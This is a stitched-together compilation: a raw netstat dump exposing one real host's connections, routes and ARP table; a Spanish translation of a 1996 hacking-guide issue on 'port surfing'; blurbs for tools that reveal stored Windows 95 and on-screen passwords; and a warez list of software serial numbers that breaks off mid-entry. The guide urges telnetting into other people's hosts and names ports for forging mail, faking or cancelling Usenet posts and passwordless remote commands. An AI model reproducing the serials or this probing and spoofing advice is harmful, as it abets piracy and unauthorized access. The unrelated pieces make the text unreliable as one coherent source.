MultiNet Active Connections, including servers: Proto Rcv-Q Snd-Q Local Address (Port) Foreign Address (Port) State ----- ----- ----- ------------------ ------------------ ----TCP 0 822 GRANDE.NM.ORG(NETSTAT) 198.59.115.24(1569) ESTABLISHED TCP 0 0 GRANDE.NM.ORG(POP3) 164.64.201.67(1256) ESTABLISHED TCP 0 0 GRANDE.NM.ORG(4918) 129.121.254.5(TELNET) ESTABLISHED TCP 0 0 GRANDE.NM.ORG(TELNET) AVATAR.NM.ORG(3141) ESTABLISHED TCP 0 0 *(NAMESERVICE) *(*) LISTEN TCP 0 0 *(TELNET) *(*) LISTEN TCP 0 0 *(FTP) *(*) LISTEN TCP 0 0 *(FINGER) *(*) LISTEN TCP 0 0 *(NETSTAT) *(*) LISTEN TCP 0 0 *(SMTP) *(*) LISTEN TCP 0 0 *(LOGIN) *(*) LISTEN TCP 0 0 *(SHELL) *(*) LISTEN TCP 0 0 *(EXEC) *(*) LISTEN TCP 0 0 *(RPC) *(*) LISTEN TCP 0 0 *(NETCONTROL) *(*) LISTEN TCP 0 0 *(SYSTAT) *(*) LISTEN

TCP 0 0 *(CHARGEN) *(*) LISTEN TCP 0 0 *(DAYTIME) *(*) LISTEN TCP 0 0 *(TIME) *(*) LISTEN TCP 0 0 *(ECHO) *(*) LISTEN TCP 0 0 *(DISCARD) *(*) LISTEN TCP 0 0 *(PRINTER) *(*) LISTEN TCP 0 0 *(POP2) *(*) LISTEN TCP 0 0 *(POP3) *(*) LISTEN TCP 0 0 *(KERBEROS_MASTER) *(*) LISTEN TCP 0 0 *(KLOGIN) *(*) LISTEN TCP 0 0 *(KSHELL) *(*) LISTEN TCP 0 0 GRANDE.NM.ORG(4174) OSO.NM.ORG(X11) ESTABLISHED TCP 0 0 GRANDE.NM.ORG(4172) OSO.NM.ORG(X11) ESTABLISHED TCP 0 0 GRANDE.NM.ORG(4171) OSO.NM.ORG(X11) ESTABLISHED TCP 0 0 *(FS) *(*) LISTEN UDP 0 0 *(NAMESERVICE) *(*) UDP 0 0 127.0.0.1(NAMESERVICE) *(*) UDP 0 0 GRANDE.NM.OR(NAMESERV) *(*) UDP 0 0 *(TFTP) *(*) UDP 0 0 *(BOOTPS) *(*) UDP 0 0 *(KERBEROS) *(*) UDP 0 0 127.0.0.1(KERBEROS) *(*) UDP 0 0 GRANDE.NM.OR(KERBEROS) *(*)

UDP 0 0 *(*) *(*) UDP 0 0 *(SNMP) *(*) UDP 0 0 *(RPC) *(*) UDP 0 0 *(DAYTIME) *(*) UDP 0 0 *(ECHO) *(*) UDP 0 0 *(DISCARD) *(*) UDP 0 0 *(TIME) *(*) UDP 0 0 *(CHARGEN) *(*) UDP 0 0 *(TALK) *(*) UDP 0 0 *(NTALK) *(*) UDP 0 0 *(1023) *(*) UDP 0 0 *(XDMCP) *(*)

MultiNet registered RPC programs: Program Version Protocol Port ------- ------- -------- ---PORTMAP 2 TCP 111 PORTMAP 2 UDP 111

MultiNet IP Routing tables: Destination Gateway Flags Refcnt Use Interface MTU ---------- ---------- ----- ------ ----- --------- ----

198.59.167.1 LAWRII.NM.ORG Up,Gateway,H 0 2 se0 1500 166.45.0.1 ENSS365.NM.ORG Up,Gateway,H 0 4162 se0 1500 205.138.138.1 ENSS365.NM.ORG Up,Gateway,H 0 71 se0 1500 204.127.160.1 ENSS365.NM.ORG Up,Gateway,H 0 298 se0 1500 127.0.0.1 127.0.0.1 Up,Host 5 1183513 lo0 4136 198.59.167.2 LAWRII.NM.ORG Up,Gateway,H 0 640 se0 1500 192.132.89.2 ENSS365.NM.ORG Up,Gateway,H 0 729 se0 1500 207.77.56.2 ENSS365.NM.ORG Up,Gateway,H 0 5 se0 1500 204.97.213.2 ENSS365.NM.ORG Up,Gateway,H 0 2641 se0 1500 194.90.74.66 ENSS365.NM.ORG Up,Gateway,H 0 1 se0 1500 204.252.102.2 ENSS365.NM.ORG Up,Gateway,H 0 109 se0 1500 205.160.243.2 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500 202.213.4.2 ENSS365.NM.ORG Up,Gateway,H 0 4 se0 1500 202.216.224.66 ENSS365.NM.ORG Up,Gateway,H 0 113 se0 1500 192.132.89.3 ENSS365.NM.ORG Up,Gateway,H 0 1100 se0 1500 198.203.196.67 ENSS365.NM.ORG Up,Gateway,H 0 385 se0 1500 160.205.13.3 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500 202.247.107.131 ENSS365.NM.ORG Up,Gateway,H 0 19 se0 1500 198.59.167.4 LAWRII.NM.ORG Up,Gateway,H 0 82 se0 1500 128.148.157.6 ENSS365.NM.ORG Up,Gateway,H 0 198 se0 1500 160.45.10.6 ENSS365.NM.ORG Up,Gateway,H 0 3 se0 1500 128.121.50.7 ENSS365.NM.ORG Up,Gateway,H 0 3052 se0 1500 206.170.113.8 ENSS365.NM.ORG Up,Gateway,H 0 1451 se0 1500

128.148.128.9 ENSS365.NM.ORG Up,Gateway,H 0 1122 se0 1500 203.7.132.9 ENSS365.NM.ORG Up,Gateway,H 0 14 se0 1500 204.216.57.10 ENSS365.NM.ORG Up,Gateway,H 0 180 se0 1500 130.74.1.75 ENSS365.NM.ORG Up,Gateway,H 0 10117 se0 1500 206.68.65.15 ENSS365.NM.ORG Up,Gateway,H 0 249 se0 1500 129.219.13.81 ENSS365.NM.ORG Up,Gateway,H 0 547 se0 1500 204.255.246.18 ENSS365.NM.ORG Up,Gateway,H 0 1125 se0 1500 160.45.24.21 ENSS365.NM.ORG Up,Gateway,H 0 97 se0 1500 206.28.168.21 ENSS365.NM.ORG Up,Gateway,H 0 2093 se0 1500 163.179.3.222 ENSS365.NM.ORG Up,Gateway,H 0 315 se0 1500 198.109.130.33 ENSS365.NM.ORG Up,Gateway,H 0 1825 se0 1500 199.224.108.33 ENSS365.NM.ORG Up,Gateway,H 0 11362 se0 1500 203.7.132.98 ENSS365.NM.ORG Up,Gateway,H 0 73 se0 1500 198.111.253.35 ENSS365.NM.ORG Up,Gateway,H 0 1134 se0 1500 206.149.24.100 ENSS365.NM.ORG Up,Gateway,H 0 3397 se0 1500 165.212.105.106 ENSS365.NM.ORG Up,Gateway,H 0 17 se0 1006 205.238.3.241 ENSS365.NM.ORG Up,Gateway,H 0 69 se0 1500 198.49.44.242 ENSS365.NM.ORG Up,Gateway,H 0 25 se0 1500 194.22.188.242 ENSS365.NM.ORG Up,Gateway,H 0 20 se0 1500 164.64.0 LAWRII.NM.ORG Up,Gateway 1 40377 se0 1500 0.0.0 ENSS365.NM.ORG Up,Gateway 2 4728741 se0 1500 207.66.1 GLORY.NM.ORG Up,Gateway 0 51 se0 1500 205.166.1 GLORY.NM.ORG Up,Gateway 0 1978 se0 1500

204.134.1 LAWRII.NM.ORG Up,Gateway 0 54 se0 1500 204.134.2 GLORY.NM.ORG Up,Gateway 0 138 se0 1500 192.132.2 129.121.248.1 Up,Gateway 0 6345 se0 1500 204.134.67 GLORY.NM.ORG Up,Gateway 0 2022 se0 1500 206.206.67 GLORY.NM.ORG Up,Gateway 0 7778 se0 1500 206.206.68 LAWRII.NM.ORG Up,Gateway 0 3185 se0 1500 207.66.5 GLORY.NM.ORG Up,Gateway 0 626 se0 1500 204.134.69 GLORY.NM.ORG Up,Gateway 0 7990 se0 1500 207.66.6 GLORY.NM.ORG Up,Gateway 0 53 se0 1500 204.134.70 LAWRII.NM.ORG Up,Gateway 0 18011 se0 1500 192.188.135 GLORY.NM.ORG Up,Gateway 0 5 se0 1500 206.206.71 LAWRII.NM.ORG Up,Gateway 0 2 se0 1500 204.134.7 GLORY.NM.ORG Up,Gateway 0 38 se0 1500 199.89.135 GLORY.NM.ORG Up,Gateway 0 99 se0 1500 198.59.136 LAWRII.NM.ORG Up,Gateway 0 1293 se0 1500 204.134.9 GLORY.NM.ORG Up,Gateway 0 21 se0 1500 204.134.73 GLORY.NM.ORG Up,Gateway 0 59794 se0 1500 129.138.0 GLORY.NM.ORG Up,Gateway 0 5262 se0 1500 192.92.10 LAWRII.NM.ORG Up,Gateway 0 163 se0 1500 206.206.75 LAWRII.NM.ORG Up,Gateway 0 604 se0 1500 207.66.13 GLORY.NM.ORG Up,Gateway 0 1184 se0 1500 204.134.77 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500 207.66.14 GLORY.NM.ORG Up,Gateway 0 334 se0 1500

204.134.78 GLORY.NM.ORG Up,Gateway 0 239 se0 1500 204.52.207 GLORY.NM.ORG Up,Gateway 0 293 se0 1500 204.134.79 GLORY.NM.ORG Up,Gateway 0 1294 se0 1500 192.160.144 LAWRII.NM.ORG Up,Gateway 0 117 se0 1500 206.206.80 PENNY.NM.ORG Up,Gateway 0 4663 se0 1500 204.134.80 GLORY.NM.ORG Up,Gateway 0 91 se0 1500 198.99.209 LAWRII.NM.ORG Up,Gateway 0 1136 se0 1500 207.66.17 GLORY.NM.ORG Up,Gateway 0 24173 se0 1500 204.134.82 GLORY.NM.ORG Up,Gateway 0 29766 se0 1500 192.41.211 GLORY.NM.ORG Up,Gateway 0 155 se0 1500 192.189.147 LAWRII.NM.ORG Up,Gateway 0 3133 se0 1500 204.134.84 PENNY.NM.ORG Up,Gateway 0 189 se0 1500 204.134.87 LAWRII.NM.ORG Up,Gateway 0 94 se0 1500 146.88.0 GLORY.NM.ORG Up,Gateway 0 140 se0 1500 192.84.24 GLORY.NM.ORG Up,Gateway 0 3530 se0 1500 204.134.88 LAWRII.NM.ORG Up,Gateway 0 136 se0 1500 198.49.217 GLORY.NM.ORG Up,Gateway 0 303 se0 1500 192.132.89 GLORY.NM.ORG Up,Gateway 0 3513 se0 1500 198.176.219 GLORY.NM.ORG Up,Gateway 0 1278 se0 1500 206.206.92 LAWRII.NM.ORG Up,Gateway 0 1228 se0 1500 192.234.220 129.121.1.91 Up,Gateway 0 2337 se0 1500 204.134.92 LAWRII.NM.ORG Up,Gateway 0 13995 se0 1500 198.59.157 LAWRII.NM.ORG Up,Gateway 0 508 se0 1500

206.206.93 GLORY.NM.ORG Up,Gateway 0 635 se0 1500 204.134.93 GLORY.NM.ORG Up,Gateway 0 907 se0 1500 198.59.158 LAWRII.NM.ORG Up,Gateway 0 14214 se0 1500 198.59.159 LAWRII.NM.ORG Up,Gateway 0 1806 se0 1500 204.134.95 PENNY.NM.ORG Up,Gateway 0 3644 se0 1500 206.206.96 GLORY.NM.ORG Up,Gateway 0 990 se0 1500 206.206.161 LAWRII.NM.ORG Up,Gateway 0 528 se0 1500 198.59.97 PENNY.NM.ORG Up,Gateway 0 55 se0 1500 198.59.161 LAWRII.NM.ORG Up,Gateway 0 497 se0 1500 192.207.226 GLORY.NM.ORG Up,Gateway 0 93217 se0 1500 198.59.99 PENNY.NM.ORG Up,Gateway 0 2 se0 1500 198.59.163 GLORY.NM.ORG Up,Gateway 0 3379 se0 1500 192.133.100 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500 204.134.100 GLORY.NM.ORG Up,Gateway 0 8 se0 1500 128.165.0 PENNY.NM.ORG Up,Gateway 0 15851 se0 1500 198.59.165 GLORY.NM.ORG Up,Gateway 0 274 se0 1500 206.206.165 LAWRII.NM.ORG Up,Gateway 0 167 se0 1500 206.206.102 GLORY.NM.ORG Up,Gateway 0 5316 se0 1500 160.230.0 LAWRII.NM.ORG Up,Gateway 0 19408 se0 1500 206.206.166 LAWRII.NM.ORG Up,Gateway 0 1756 se0 1500 205.166.231 GLORY.NM.ORG Up,Gateway 0 324 se0 1500 198.59.167 GLORY.NM.ORG Up,Gateway 0 1568 se0 1500 206.206.103 GLORY.NM.ORG Up,Gateway 0 3629 se0 1500

198.59.168 GLORY.NM.ORG Up,Gateway 0 9063 se0 1500 206.206.104 GLORY.NM.ORG Up,Gateway 0 7333 se0 1500 206.206.168 GLORY.NM.ORG Up,Gateway 0 234 se0 1500 204.134.105 LAWRII.NM.ORG Up,Gateway 0 4826 se0 1500 206.206.105 LAWRII.NM.ORG Up,Gateway 0 422 se0 1500 204.134.41 LAWRII.NM.ORG Up,Gateway 0 41782 se0 1500 206.206.169 GLORY.NM.ORG Up,Gateway 0 5101 se0 1500 204.134.42 GLORY.NM.ORG Up,Gateway 0 10761 se0 1500 206.206.170 GLORY.NM.ORG Up,Gateway 0 916 se0 1500 198.49.44 GLORY.NM.ORG Up,Gateway 0 3 se0 1500 198.59.108 GLORY.NM.ORG Up,Gateway 0 2129 se0 1500 204.29.236 GLORY.NM.ORG Up,Gateway 0 125 se0 1500 206.206.172 GLORY.NM.ORG Up,Gateway 0 5839 se0 1500 204.134.108 GLORY.NM.ORG Up,Gateway 0 3216 se0 1500 206.206.173 GLORY.NM.ORG Up,Gateway 0 374 se0 1500 198.175.173 LAWRII.NM.ORG Up,Gateway 0 6227 se0 1500 198.59.110 GLORY.NM.ORG Up,Gateway 0 1797 se0 1500 198.51.238 GLORY.NM.ORG Up,Gateway 0 1356 se0 1500 192.136.110 GLORY.NM.ORG Up,Gateway 0 583 se0 1500 204.134.48 GLORY.NM.ORG Up,Gateway 0 42 se0 1500 198.175.176 LAWRII.NM.ORG Up,Gateway 0 32 se0 1500 206.206.114 LAWRII.NM.ORG Up,Gateway 0 44 se0 1500 206.206.179 LAWRII.NM.ORG Up,Gateway 0 14 se0 1500

198.59.179 PENNY.NM.ORG Up,Gateway 0 222 se0 1500 198.59.115 GLORY.NM.ORG Up,Gateway 1 132886 se0 1500 206.206.181 GLORY.NM.ORG Up,Gateway 0 1354 se0 1500 206.206.182 SIENNA.NM.ORG Up,Gateway 0 16 se0 1500 206.206.118 GLORY.NM.ORG Up,Gateway 0 3423 se0 1500 206.206.119 GLORY.NM.ORG Up,Gateway 0 282 se0 1500 206.206.183 SIENNA.NM.ORG Up,Gateway 0 2473 se0 1500 143.120.0 LAWRII.NM.ORG Up,Gateway 0 123533 se0 1500 206.206.184 GLORY.NM.ORG Up,Gateway 0 1114 se0 1500 205.167.120 GLORY.NM.ORG Up,Gateway 0 4202 se0 1500 206.206.121 GLORY.NM.ORG Up,Gateway 1 71 se0 1500 129.121.0 GRANDE.NM.ORG Up 12 21658599 se0 1500 204.134.122 GLORY.NM.ORG Up,Gateway 0 195 se0 1500 204.134.58 GLORY.NM.ORG Up,Gateway 0 7707 se0 1500 128.123.0 GLORY.NM.ORG Up,Gateway 0 34416 se0 1500 204.134.59 GLORY.NM.ORG Up,Gateway 0 1007 se0 1500 204.134.124 GLORY.NM.ORG Up,Gateway 0 37160 se0 1500 206.206.124 LAWRII.NM.ORG Up,Gateway 0 79 se0 1500 206.206.125 PENNY.NM.ORG Up,Gateway 0 233359 se0 1500 204.134.126 GLORY.NM.ORG Up,Gateway 0 497 se0 1500 206.206.126 LAWRII.NM.ORG Up,Gateway 0 13644 se0 1500 204.69.190 GLORY.NM.ORG Up,Gateway 0 4059 se0 1500 206.206.190 GLORY.NM.ORG Up,Gateway 0 1630 se0 1500

204.134.127 GLORY.NM.ORG Up,Gateway 0 45621 se0 1500 206.206.191 GLORY.NM.ORG Up,Gateway 0 3574 se0 1500

MultiNet IPX Routing tables: Destination Gateway Flags Refcnt Use Interface MTU ---------- ---------- ----- ------ ----- --------- ----

MultiNet ARP table: Host Network Address Ethernet Address Arp Flags -------------------------------------------- ---------------- --------GLORY.NM.ORG (IP 129.121.1.4) AA:00:04:00:61:D0 Temporary [UNKNOWN] (IP 129.121.251.1) 00:C0:05:01:2C:D2 Temporary NARANJO.NM.ORG (IP 129.121.1.56) 08:00:87:04:9F:42 Temporary CHAMA.NM.ORG (IP 129.121.1.8) AA:00:04:00:0C:D0 Temporary [UNKNOWN] (IP 129.121.251.5) AA:00:04:00:D2:D0 Temporary LAWRII.NM.ORG (IP 129.121.254.10) AA:00:04:00:5C:D0 Temporary [UNKNOWN] (IP 129.121.1.91) 00:C0:05:01:2C:D2 Temporary BRAVO.NM.ORG (IP 129.121.1.6) AA:00:04:00:0B:D0 Temporary PENNY.NM.ORG (IP 129.121.1.10) AA:00:04:00:5F:D0 Temporary ARRIBA.NM.ORG (IP 129.121.1.14) 08:00:2B:BC:C1:A7 Temporary AZUL.NM.ORG (IP 129.121.1.51) 08:00:87:00:A1:D3 Temporary ENSS365.NM.ORG (IP 129.121.1.3) 00:00:0C:51:EF:58 Temporary AVATAR.NM.ORG (IP 129.121.254.1) 08:00:5A:1D:52:0D Temporary

[UNKNOWN] (IP 129.121.253.2) 08:00:5A:47:4A:1D Temporary [UNKNOWN] (IP 129.121.254.5) 00:C0:7B:5F:5F:80 Temporary CONCHAS.NM.ORG (IP 129.121.1.11) 08:00:5A:47:4A:1D Temporary [UNKNOWN] (IP 129.121.253.10) AA:00:04:00:4B:D0 Temporary

MultiNet Network Interface statistics: Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Collis ---- --- ------- -------------- ----- ----- ----- ----- -----se0 1500 129.121.0 GRANDE.NM.ORG 68422948 0 53492833 1 0 lo0 4136 127.0.0 127.0.0.1 1188191 0 1188191 0 0

MultiNet Protocol statistics: 65264173 IP packets received 22 IP packets smaller than minimum size 6928 IP fragments received 4 IP fragments timed out 34 IP received for unreachable destinations 704140 ICMP error packets generated 9667 ICMP opcodes out of range 4170 Bad ICMP packet checksums 734363 ICMP responses 734363 ICMP "Echo" packets received

734363 ICMP "Echo Reply" packets sent 18339 ICMP "Echo Reply" packets received 704140 ICMP "Destination Unreachable" packets sent 451243 ICMP "Destination Unreachable" packets received 1488 ICMP "Source Quench" packets received 163911 ICMP "ReDirect" packets received 189732 ICMP "Time Exceeded" packets received 126966 TCP connections initiated 233998 TCP connections established 132611 TCP connections accepted 67972 TCP connections dropped 28182 embryonic TCP connections dropped 269399 TCP connections closed 10711838 TCP segments timed for RTT 10505140 TCP segments updated RTT 3927264 TCP delayed ACKs sent 666 TCP connections dropped due to retransmit timeouts 111040 TCP retransmit timeouts 3136 TCP persist timeouts 9 TCP persist connection drops 16850 TCP keepalive timeouts 1195 TCP keepalive probes sent 14392 TCP connections dropped due to keepalive timeouts

28842663 TCP packets sent 12714484 TCP data packets sent 1206060086 TCP data bytes sent 58321 TCP data packets retransmitted 22144036 TCP data bytes retransmitted 6802199 TCP ACK-only packets sent 1502 TCP window probes sent 483 TCP URG-only packets sent 8906175 TCP Window-Update-only packets sent 359509 TCP control packets sent 38675084 TCP packets received 28399363 TCP packets received in sequence 1929418386 TCP bytes received in sequence 25207 TCP packets with checksum errors 273374 TCP packets were duplicates 230525708 TCP bytes were duplicates 3748 TCP packets had some duplicate bytes 493214 TCP bytes were partial duplicates 2317156 TCP packets were out of order 3151204672 TCP bytes were out of order 1915 TCP packets had data after window 865443 TCP bytes were after window 5804 TCP packets for already closed connection

941 TCP packets were window probes 10847459 TCP packets had ACKs 222657 TCP packets had duplicate ACKs 1 TCP packet ACKed unsent data 1200274739 TCP bytes ACKed 141545 TCP packets had window updates 13 TCP segments dropped due to PAWS 4658158 TCP segments were predicted pure-ACKs 24033756 TCP segments were predicted pure-data 8087980 TCP PCB cache misses 305 Bad UDP header checksums 17 Bad UDP data length fields 23772272 UDP PCB cache misses

MultiNet Buffer Statistics: 388 out of 608 buffers in use: 30 buffers allocated to Data. 10 buffers allocated to Packet Headers. 66 buffers allocated to Socket Structures. 57 buffers allocated to Protocol Control Blocks. 163 buffers allocated to Routing Table Entries. 2 buffers allocated to Socket Names and Addresses. 48 buffers allocated to Kernel Fork-Processes.

2 buffers allocated to Interface Addresses. 1 buffer allocated to Multicast Addresses. 1 buffer allocated to Timeout Callbacks. 6 buffers allocated to Memory Management. 2 buffers allocated to Network TTY Control Blocks. 11 out of 43 page clusters in use. 11 CXBs borrowed from VMS device drivers 2 CXBs waiting to return to the VMS device drivers 162 Kbytes allocated to MultiNet buffers (44% in use). 226 Kbytes of allocated buffer address space (0% of maximum). Connection closed by foreign host. <slug> [68] ->

¡Buahh! ¿Qué era todo eso? Lo que hicimos fue hacer telnet al puerto 15 -- el puerto netstat (estadísticas de red) -- que en algunos ordenadores corre un daemon que le dice a todo el mundo que se preocupe por entrar simplemente todo acerca de las conexiones hechas por todos los ordenadores enlazados a Internet por medio de este ordenador. Así que a partir de esto aprendimos dos cosas: 1) Grande.nm.org es un ordenador muy importante y ocupado. 2) Incluso un ordenador muy importante y ocupado puede dejar al surfer de puertos casual entrar y jugar. Así que mi amiga quería probar con otro puerto. Le sugerí el puerto de finger, el numero 79. Así que dimos el comando: <slug> [68] ->telnet grande.nm.org 79 Trying 129.121.1.2 ...

Connected to grande.nm.org. Escape character is '^]'. finger ?Sorry, could not find "FINGER" Connection closed by foreign host. <slug> [69] ->telnet grande.nm.org 79 Trying 129.121.1.2 ... Connected to grande.nm.org. Escape character is '^]'. help ?Sorry, could not find "HELP" Connection closed by foreign host. <slug> [69] ->telnet grande.nm.org 79 Trying 129.121.1.2 ... Connected to grande.nm.org. Escape character is '^]'. ? ?Sorry, could not find "?" Connection closed by foreign host. <slug> [69] ->telnet grande.nm.org 79 Trying 129.121.1.2 ... Connected to grande.nm.org. Escape character is '^]'.

man ?Sorry, could not find "MAN" Connection closed by foreign host. <slug> [69] ->

En un principio esto parece simplemente un puñado de comandos fallidos. Pero en realidad esto es muy fascinante. La razón es que el puerto 79 se supone, bajo las normas IETF, que corre fingerd, el daemon de finger. Así que cuando dio el comando "finger" y grande.nm.org dijo ?Sorry, could not find "FINGER," supimos que este puerto no seguía las normas IETF. Ahora, en muchos ordenadores no corren el daemon finger para nada. Esto es debido a que finger tiene unas propiedades que pueden usarse para conseguir control total del ordenador que lo usa. Pero si el finger está apagado, y nada más está corriendo en el puerto 79, deberíamos recibir la respuesta: telnet: connect: Connection refused. Pero en vez de eso nos conectamos y grande.nm.org estaba esperando un comando. Ahora, lo normal que un surfer de puertos hace cuando corre un daemon desconocido es convencerle para que revele que comandos usa. "Help", "?" y "man" a menudo funcionan. Pero no nos ayudaron. Pero a pesar de que estos comandos no nos ayudaron, si que nos dijeron que el daemon está probablemente algo sensitivo. Si fuera un daemon que se supone podría usar cualquiera, nos habría dado instrucciones. Así que, ¿qué hicimos después? Decidimos ser buenas ciudadanas de Internet y también mantenernos fuera de la cárcel. Decidimos que seria mejor salir. Pero había un hack que decidimos hacer primero: dejar nuestra marca en el archivo log del shell. El archivo log del shell guarda un registro de todos los comandos del sistema operativo que se han hecho en un ordenador. El administrador de un ordenador obviamente tan importante como grande.nm.org será lo suficientemente competente para escanear el registro de los comandos que se han dado y quienes los han dado en su ordenador. Especialmente en un puerto lo suficientemente importante para estar corriendo un misterioso y no-IETF daemon.

Así que todo lo que tecleamos mientras estabamos conectadas probablemente fue guardado en el log. Así que mi amiga se rió y dejo unos pocos mensajes en el puerto 79 antes de salir del sistema. Oh, querido, creo que está enganchada al hacking. Vaya una buena forma de conocer administradores atractivos. O sea que, el port surfing ¡está listo! Si quieres surfear, aquí está lo básico: 1) Haz login a una cuenta shell. Esta es una cuenta con tu proveedor que te permite dar comandos UNIX. O -- corre Linux u otra clase de UNIX en tu PC y conéctate a Internet. 2) Ejecuta el comando "telnet " donde es la dirección de Internet del ordenador que quieres visitar y es el puerto que te parezca divertido. 3) Si recibes la respuesta "connected to ," entonces el surfeo ya está listo. Seguidamente hay algunos de mis puertos favoritos. Es legal e inocuo el hacerles visitas tan pronto como no descubras como obtener status de superusuario mientras estés jugando en ellos. Sin embargo, ten en cuenta que si haces mucho port surfing desde tu cuenta shell, tu administrador de sistema notara esto en su fichero log del shell. O, el administrador de tu ordenador "víctima" puede avisar acerca de ti a tu administrador. Serás identificable por las cabeceras en los paquetes que llevan tus comandos al ordenador víctima. Entonces tu administrador te puede echar de tu proveedor. Así que puede que quieras explicar antes que eres meramente un hacker inocuo buscando pasar un buen rato, eh, um, aprendiendo UNIX. Si, eso suena bien... N§ puerto Servicio ¡Porqué es divertido! 7 ---------> echo Lo que teclees, el host te lo repetirá 9 ---------> discard Dev/null - ¿cuán rápido puedes descubrir este? 11 --------> systat Mucha información de usuarios 13 --------> la hora y fecha en el ordenador remoto 15 --------> netstat Tremenda información sobre la red 19 --------> envía un montón de caracteres ASCII. Usa ^C para pararlo. 21 --------> ftp Transferencia de ficheros 23 --------> telnet Donde haces log.

25 --------> smpt Falsea mail de [email protected]. 37 --------> time Tiempo 39 --------> rlp Localización del recurso 43 --------> whois Información de hosts y redes 53 --------> domain Nombre del servidor 70 --------> gopher Cazador anticuado de información 79 --------> finger Mucha información sobre usuarios 80 --------> http Servidor Web 110 -------> pop Email entrante 119 -------> nntp Grupos de noticias usenet -- falsear posts, cancelar 443 -------> shttp Otro servidor Web 512 -------> biff Notificación de mail 513 -------> rlogin Login remoto ------------> who Who remoto 514--------> shell ¡Comando remoto, no se usa password! ------------> syslog Login de sistema remoto 520 -------> route Protocolo de información routing

CONSEJO DE CABEZA PROPULSORA: Fíjate que en la mayoría de los casos un host de Internet usara está asignación de números de puerto para estos servicios. Más de un servicio puede también estar asignado simultáneamente al mismo puerto. Este sistema de numeración es voluntariamente ofrecido por el Internet Engineering Task Force (IETF). Eso significa que un host de Internet puede usar otros puertos para esos servicios. ¡Espera lo inesperado!

Si tienes una copia de Linux, puedes coger la lista de todas las asignaciones del IETF sobre puertos en el fichero /etc/services.

¿Quieres ver números atrasados de la Guía del Hacking (casi) Inofensivo? Mira http://www.feist.com/~tqdb/evis-unv.html. ¿Quieres suscribirte a esta lista? Email [email protected] con el mensaje "subscribe happyhacker." ¿Quieres compartir material guay con la lista Happy Hacker? Manda tu mensaje a [email protected]. Para mandarme email confidencial (discusiones de actividades ilegales no) usa [email protected]. Por favor dirige tus flames hacia dev/[email protected]. Happy hacking! Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final.

PWLCRACK.TXT Para ver todas las claves del fichero de claves PWL de W'95 Se puede ejecutar desde cualquier directorio del disco en que se encuentre W'95. Debe correrse desde DOS. Da acceso a todos los passwords de acceso a Internet y a correo electrónico.

Página 1

README.TXT Caption-it! is an easy and simple to use password recovery program. Move the mouse over the text box, label or window, and Caption-it! will reveal the text even if it's encrypted. ___________________________ Copyright © 2000 Yoto Yotov Caption-it! - Version 1.0 Freeware This software is the property of Yoto Yotov and is copyrighted. reproduction in whole or in part is authorized.

Página 1

Any

SeRiaL NuMBeRZ ------------------------------Búsqueda rápida por letra: 0-9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 386 Max v7.0

: 240-104343 or 40090206002

4D Runtime 2.01

: T-302092506051

4DOS v5.00

: #/111209 code/8VS2PGCK

4th dimension 2.0.11 4th Right 8 Ball Deluxe A-10 attack for Mac

: D-205200607255 : V-302290527273 : ZJLFDN5TMAJ : 3400521482

ABC Flowcharter v3.0 for Windows

: 0601001053909501

ABC Toolkit v1.0 for Windows

: 01103158901

ABC Toolkit v1.1 for Windows

: 1001001103158901

Above disk+ v4.0a Accent for Windows

: 506824 : 042807358902273

Accent v2.0 final beta for Windows

: 123 456 789 000 12

ACCPAC Simply Acounting v2.0a Windows : 1021602-48016 ACDsee v1.25b4 ACDsee v1.3

: name/Kermu #/2067038799 : name /rev8:11/ @|U|T|S| #: 696716141

Action workflow analyst for Windows : AA200013001W1001823 Adaptec EZ-SCSI v3.03 DOS/Win Addepth for Windows

: 492848-01

: AW-100-1-2716-52987

Adobe acrobat distiler v1.0 for Win : DEE100R3001172-010-496 Adobe Acrobat reader v1.0 for Windows : ARW100R3100000-500-574 Adobe Acrobat reader v1.2 for Windows : ARM100R3100034-100-397 Adobe Acrobat v1.0 for windows

: ARW100R3100230-826

Adobe Acrobat v2.0 for Windows Adobe Gallery Effects

: WVW200R3100221-398 : 36-1529-303576267

Adobe Illustrator v4.0 for Windows

: ABW400R3101335-714

Adobe Illustrator v4.01 for Windows : ABE400R3001625-858 ADOBE PAGEMAKER 6.0 '95 Adobe PhotoShop

: 03-3002-000002275 : PCA 100000100-953

Adobe Photoshop v2.5 for Windows

: PWW250R3000000-880

Adobe Photoshop v2.5.1 for Windows

: PWW250R3104501-684

Adobe Photoshop v3.0 for Windows

: PWW300R3000011-926

Adobe PhotoShop V.3.4

: PWW300R3000011-926

Adobe Photoshop V4.0

: PWW300R3000011-926

Adobe Premiere v1.0 for Windows

: MBW100X3100970-389

Adobe Premiere v1.1 for Windows

: MBW100D3100371-512

Adobe Premiere v4.0 for Windows Adobe Premiere 4.2

: MBW400R1109394-244

: MBW100J3100384-488

Adobe Streamline v3.0 for Windows

: SBW3001110706-297

Adobe Streamline v3.01 for Windows

: SBW300S1100640-184

Adobe wild type After dark v3.0 for Windows

: FHW251R31003373 : AD3-00670-6681 or ADW-33671-7329

Agency database v1.12c for Windows

: ADW00195

Agent .99d

: m2cjahz8-9bvhrj3m-26xplz8l-bfgd44ct-1ea6bc82

Agent .99e

: WH6W83K6-LVHT8ATZ-FCL3PUMF

Agfa Fotoflow

: 410210021-086

Aldus Freehand v4.0 for Windows

: 05-4002-202558479

Aldus Freehand v5.0 for Windows

: 10350-0276-0089-83911

Aldus Gallery effect v1.5 for Windows : 36-1500-040049293 Aldus Persuasion v2.1a for Windows

: 09-2101-200613117

Aldus Persuasion v3.0b for Windows

: 09-3003-202849134

Aldus Photostyler v2.0 for Windows

: 15-2000-000000000

Aldus Photostyler v2.0a for Windows : 15-0208-202570921 Aldus Photostyler v2.0SE for Windows : 15-0201-201632890 Aldus/Adobe Pagemaker v4.0

: 02-3008-000036469

Aldus/Adobe Pagemaker ENG v5.0 for Win: 03-4005-200136599 Aldus/Adobe Pagemaker NL v5.0 for Win : 02-50C8-100094310 Allfix v4.16

: name/Me #/A4009F0F2AC0ZB60A9EB2E4D

Almanac 3.5c for Win95/NT

: name/Crack da WareZ #/A1052039

Alpha five home/business ed. v1.0 Win : Z50HBEV1-1019144 Altamira composer v1.1 PRO

